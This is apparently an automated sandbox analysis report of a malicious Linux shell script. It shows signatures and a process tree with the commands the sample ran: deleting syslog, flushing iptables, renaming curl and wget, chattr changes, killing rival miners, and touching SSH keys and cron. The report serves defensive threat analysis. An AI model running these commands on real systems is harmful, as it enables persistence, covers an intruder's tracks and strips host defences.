Analysis
-
max time kernel
149s -
max time network
131s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
24-01-2025 04:09
Static task
static1
Behavioral task
behavioral1
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
-
Size
37KB
-
MD5
d6648f420423f9dad4292a606f743c4b
-
SHA1
dcae47ec15e96274a39fcce4352077846ebf7b70
-
SHA256
196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910
-
SHA512
3820b4fb435732fef05157ff0713ed3a62269dc1c21240dbf7e2e59191a0f34050247573b4d9758cd84495fb28d8f346e381b8f09a9041c70ca88333b1303f93
-
SSDEEP
384:Q7pQQwQHDf6lpTWg3vM4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdUeUoJpJydIi:Q7xFNB48Fkc2zq0xvMGdl18r
Malware Config
Signatures
-
Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh -
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2281 Process not Found 2284 Process not Found 2278 Process not Found -
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 742 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 894 xargs 1132 xargs 1497 xargs 1704 xargs 1905 Process not Found 1964 Process not Found 1254 xargs 765 xargs 813 xargs 819 xargs 1095 xargs 1432 xargs 1587 xargs 2032 Process not Found 825 xargs 843 xargs 1045 xargs 1328 xargs 1414 xargs 1620 xargs 2004 Process not Found 933 xargs 966 xargs 1163 xargs 1344 xargs 1408 xargs 1975 Process not Found 1117 xargs 1688 xargs 1694 xargs 2124 Process not Found 789 xargs 859 xargs 1485 xargs 1293 xargs 1402 xargs 1636 xargs 1656 xargs 2016 Process not Found 801 xargs 991 xargs 1379 xargs 1967 Process not Found 2276 Process not Found 864 xargs 1502 xargs 1706 xargs 1728 xargs 1956 Process not Found 1978 Process not Found 2127 Process not Found 795 xargs 1153 xargs 1214 xargs 1287 xargs 1567 xargs 2064 Process not Found 783 xargs 907 xargs 1127 xargs 1634 xargs 1684 xargs 1064 xargs 1122 xargs -
Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/zzh 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /etc/crontab 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh -
Disables AppArmor 28 IoCs
Disables AppArmor security module.
pid Process 2073 Process not Found 2073 Process not Found 2098 Process not Found 2102 Process not Found 2073 Process not Found 2108 Process not Found 2110 Process not Found 2092 Process not Found 2101 Process not Found 2103 Process not Found 2106 Process not Found 2104 Process not Found 2107 Process not Found 2093 Process not Found 2100 Process not Found 2093 Process not Found 2093 Process not Found 2112 Process not Found 2096 Process not Found 2093 Process not Found 2073 Process not Found 2073 Process not Found 2073 Process not Found 2111 Process not Found 2093 Process not Found 2093 Process not Found 2105 Process not Found 2109 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/pstree 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /bin/pstree Process not Found File opened for modification /bin/ps 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /bin/ps Process not Found File opened for modification /bin/top 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /bin/top Process not Found -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Process Discovery 1 TTPs 64 IoCs
Adversaries may try to discover information about running processes.
pid Process 929 ps 1138 ps 1345 ps 955 ps 962 ps 1071 ps 1335 ps 750 ps 1154 ps 923 ps 1086 ps 1169 ps 1385 ps 1456 ps 1480 ps 1518 ps 1186 ps 1316 ps 999 ps 935 ps 968 ps 1231 ps 1508 ps 752 ps 1403 ps 1438 ps 870 ps 1029 ps 1118 ps 1415 ps 1503 ps 865 ps 1197 ps 1148 ps 1250 ps 1283 ps 1301 ps 1365 ps 1370 ps 1308 ps 1035 ps 1081 ps 1450 ps 875 ps 1049 ps 1492 ps 1076 ps 1123 ps 1164 ps 1203 ps 1237 ps 1462 ps 1498 ps 1523 ps 1210 ps 1360 ps 942 ps 1128 ps 1340 ps 1375 ps 1433 ps 890 ps 949 ps 987 ps -
description ioc Process File opened for reading /proc/self/stat ps File opened for reading /proc/322/status ps File opened for reading /proc/117/cmdline ps File opened for reading /proc/679/status ps File opened for reading /proc/144/status ps File opened for reading /proc/117/status pkill File opened for reading /proc/69/status pkill File opened for reading /proc/2/stat ps File opened for reading /proc/167/status ps File opened for reading /proc/701/cmdline ps File opened for reading /proc/15/stat ps File opened for reading /proc/36/stat ps File opened for reading /proc/167/cmdline pkill File opened for reading /proc/679/cmdline ps File opened for reading /proc/5/status ps File opened for reading /proc/11/status ps File opened for reading /proc/73/cmdline ps File opened for reading /proc/699/cmdline pgrep File opened for reading /proc/167/status ps File opened for reading /proc/22/stat ps File opened for reading /proc/106/stat ps File opened for reading /proc/322/status ps File opened for reading /proc/3/status pkill File opened for reading /proc/323/cmdline pkill File opened for reading /proc/167/cmdline pkill File opened for reading /proc/self/maps awk File opened for reading /proc/19/stat ps File opened for reading /proc/4/status ps File opened for reading /proc/326/status ps File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/13/cmdline pkill File opened for reading /proc/13/cmdline pkill File opened for reading /proc/21/cmdline pkill File opened for reading /proc/2/cmdline ps File opened for reading /proc/36/cmdline pkill File opened for reading /proc/1020/stat ps File opened for reading /proc/117/status pkill File opened for reading /proc/663/cmdline ps File opened for reading /proc/68/cmdline ps File opened for reading /proc/326/status pgrep File opened for reading /proc/7/status pkill File opened for reading /proc/81/stat ps File opened for reading /proc/1/cmdline ps File opened for reading /proc/2/stat ps File opened for reading /proc/68/status ps File opened for reading /proc/372/cmdline ps File opened for reading /proc/144/stat ps File opened for reading /proc/324/status ps File opened for reading /proc/6/stat ps File opened for reading /proc/428/cmdline ps File opened for reading /proc/701/status ps File opened for reading /proc/1006/stat ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/7/stat ps File opened for reading /proc/116/cmdline ps File opened for reading /proc/36/cmdline pgrep File opened for reading /proc/19/status pkill File opened for reading /proc/3/status pkill File opened for reading /proc/3/cmdline ps File opened for reading /proc/filesystems pkill File opened for reading /proc/73/cmdline ps File opened for reading /proc/36/status ps File opened for reading /proc/23/status ps File opened for reading /proc/700/cmdline pgrep -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1078 grep 1111 grep 1357 grep 1867 Process not Found -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/kdevtmpfsi 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/redis2 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/newsvc.sh 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcupdate 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcguard 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcworkmanager 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/svcupdates 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh File opened for modification /tmp/dev/null 196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh
Processes
-
/tmp/196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh/tmp/196b528e7c816ef6dc101e193bb73338e2e6c696137302f991099682e52bc910.sh1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Writes file to system bin folder
- Writes file to tmp directory
PID:701 -
/usr/bin/curlcurl http://ip-api.com/json/2⤵PID:703
-
-
/bin/grepgrep -i CN2⤵PID:705
-
-
/bin/sedsed "s/,/\\n/g"2⤵PID:704
-
-
/bin/syncsync2⤵PID:730
-
-
/bin/catcat /var/spool/cron/2⤵PID:731
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:733
-
-
/bin/mvmv /usr/bin/curl /usr/bin/url2⤵PID:734
-
-
/bin/mvmv /usr/bin/url /usr/bin/cd12⤵PID:735
-
-
/bin/mvmv /usr/bin/wget /usr/bin/get2⤵PID:736
-
-
/bin/mvmv /usr/bin/get /usr/bin/wd12⤵PID:737
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:738
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:740
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:741
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:742
-
-
/usr/sbin/userdeluserdel akay2⤵PID:744
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:746
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:747
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:748
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:749
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:751
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:750
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:753
-
-
/bin/psps aux2⤵
- Process Discovery
PID:752
-
-
/bin/rmrm -f /tmp/.null2⤵PID:754
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:755
-
-
/bin/grepgrep 185.71.65.2382⤵PID:757
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:758
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:759
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:760
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:763
-
-
/bin/grepgrep 140.82.52.872⤵PID:762
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:764
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:765
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:771
-
-
/bin/grepgrep -v -2⤵PID:770
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:769
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:768
-
-
/bin/grepgrep :4432⤵PID:767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:777
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:775
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:774
-
-
/bin/grepgrep :232⤵PID:773
-
-
/bin/grepgrep -v -2⤵PID:776
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:783
-
-
/bin/grepgrep -v -2⤵PID:782
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:781
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:780
-
-
/bin/grepgrep :4432⤵PID:779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:789
-
-
/bin/grepgrep -v -2⤵PID:788
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:786
-
-
/bin/grepgrep :1432⤵PID:785
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:787
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:795
-
-
/bin/grepgrep -v -2⤵PID:794
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:793
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:792
-
-
/bin/grepgrep :22222⤵PID:791
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:801
-
-
/bin/grepgrep -v -2⤵PID:800
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:799
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:798
-
-
/bin/grepgrep :33332⤵PID:797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:807
-
-
/bin/grepgrep -v -2⤵PID:806
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:805
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:804
-
-
/bin/grepgrep :33892⤵PID:803
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:813
-
-
/bin/grepgrep -v -2⤵PID:812
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
- Reads runtime system information
PID:811
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:810
-
-
/bin/grepgrep :55552⤵PID:809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:819
-
-
/bin/grepgrep -v -2⤵PID:818
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:817
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:816
-
-
/bin/grepgrep :66662⤵PID:815
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:825
-
-
/bin/grepgrep -v -2⤵PID:824
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:823
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:822
-
-
/bin/grepgrep :66652⤵PID:821
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:831
-
-
/bin/grepgrep -v -2⤵PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:829
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:828
-
-
/bin/grepgrep :66672⤵PID:827
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:837
-
-
/bin/grepgrep -v -2⤵PID:836
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:835
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:834
-
-
/bin/grepgrep :77772⤵PID:833
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:843
-
-
/bin/grepgrep -v -2⤵PID:842
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:841
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:840
-
-
/bin/grepgrep :84442⤵PID:839
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:849
-
-
/bin/grepgrep -v -2⤵PID:848
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:847
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:846
-
-
/bin/grepgrep :33472⤵PID:845
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:854
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:853
-
-
/bin/grepgrep :33332⤵PID:852
-
-
/bin/grepgrep -v grep2⤵PID:851
-
-
/bin/psps aux2⤵PID:850
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:859
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:858
-
-
/bin/grepgrep :55552⤵PID:857
-
-
/bin/grepgrep -v grep2⤵PID:856
-
-
/bin/psps aux2⤵PID:855
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:864
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:863
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:862
-
-
/bin/grepgrep -v grep2⤵PID:861
-
-
/bin/psps aux2⤵PID:860
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:869
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:868
-
-
/bin/grepgrep log_2⤵PID:867
-
-
/bin/grepgrep -v grep2⤵PID:866
-
-
/bin/psps aux2⤵
- Process Discovery
PID:865
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:874
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:873
-
-
/bin/grepgrep systemten2⤵PID:872
-
-
/bin/grepgrep -v grep2⤵PID:871
-
-
/bin/psps aux2⤵
- Process Discovery
PID:870
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:879
-
/usr/local/sbin/killkill -9 103⤵PID:882
-
-
/usr/local/bin/killkill -9 103⤵PID:882
-
-
/usr/sbin/killkill -9 103⤵PID:882
-
-
/usr/bin/killkill -9 103⤵PID:882
-
-
/sbin/killkill -9 103⤵PID:882
-
-
/bin/killkill -9 103⤵PID:882
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:878
-
-
/bin/grepgrep netns2⤵PID:877
-
-
/bin/grepgrep -v grep2⤵PID:876
-
-
/bin/psps aux2⤵
- Process Discovery
PID:875
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:886
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:887
-
-
/bin/grepgrep voltuned2⤵PID:885
-
-
/bin/grepgrep -v grep2⤵PID:884
-
-
/bin/psps aux2⤵PID:883
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:894
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
-
/bin/grepgrep darwin2⤵PID:892
-
-
/bin/grepgrep -v grep2⤵PID:891
-
-
/bin/psps aux2⤵
- Process Discovery
PID:890
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:900
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:899
-
-
/bin/grepgrep /tmp/dl2⤵PID:898
-
-
/bin/grepgrep -v grep2⤵PID:897
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:896
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:907
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:906
-
-
/bin/grepgrep /tmp/ddg2⤵PID:905
-
-
/bin/grepgrep -v grep2⤵PID:904
-
-
/bin/psps aux2⤵PID:903
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:913
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:912
-
-
/bin/grepgrep /tmp/pprt2⤵PID:911
-
-
/bin/grepgrep -v grep2⤵PID:910
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:909
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:920
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:919
-
-
/bin/grepgrep /tmp/ppol2⤵PID:918
-
-
/bin/grepgrep -v grep2⤵PID:917
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:916
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:927
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:926
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:925
-
-
/bin/grepgrep -v grep2⤵PID:924
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:923
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:933
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:932
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:931
-
-
/bin/grepgrep -v grep2⤵PID:930
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:929
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:939
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:938
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:937
-
-
/bin/grepgrep -v grep2⤵PID:936
-
-
/bin/psps aux2⤵
- Process Discovery
PID:935
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:946
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:945
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:944
-
-
/bin/grepgrep -v grep2⤵PID:943
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:942
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:953
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:952
-
-
/bin/grepgrep 45.76.122.922⤵PID:951
-
-
/bin/grepgrep -v grep2⤵PID:950
-
-
/bin/psps aux2⤵
- Process Discovery
PID:949
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:959
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:958
-
-
/bin/grepgrep 51.38.191.1782⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:956
-
-
/bin/psps aux2⤵
- Process Discovery
PID:955
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:966
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:965
-
-
/bin/grepgrep 51.15.56.1612⤵PID:964
-
-
/bin/grepgrep -v grep2⤵PID:963
-
-
/bin/psps aux2⤵
- Process Discovery
PID:962
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:972
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:971
-
-
/bin/grepgrep 86s.jpg2⤵PID:970
-
-
/bin/grepgrep -v grep2⤵PID:969
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:968
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:979
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:978
-
-
/bin/grepgrep aGTSGJJp2⤵PID:977
-
-
/bin/grepgrep -v grep2⤵PID:976
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:975
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:986
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:985
-
-
/bin/grepgrep nMrfmnRa2⤵PID:984
-
-
/bin/grepgrep -v grep2⤵PID:983
-
-
/bin/psps aux2⤵PID:982
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:991
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:990
-
-
/bin/grepgrep PuNY5tm22⤵PID:989
-
-
/bin/grepgrep -v grep2⤵PID:988
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:987
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:998
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:997
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:996
-
-
/bin/grepgrep -v grep2⤵PID:995
-
-
/bin/psps aux2⤵PID:994
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1003
-
-
/bin/grepgrep AgdgACUD2⤵PID:1002
-
-
/bin/grepgrep -v grep2⤵PID:1001
-
-
/bin/psps aux2⤵
- Process Discovery
PID:999
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1004
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1011
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1010
-
-
/bin/grepgrep uiZvwxG82⤵PID:1009
-
-
/bin/grepgrep -v grep2⤵PID:1008
-
-
/bin/psps aux2⤵PID:1007
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1018
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1017
-
-
/bin/grepgrep hahwNEdB2⤵PID:1016
-
-
/bin/grepgrep -v grep2⤵PID:1015
-
-
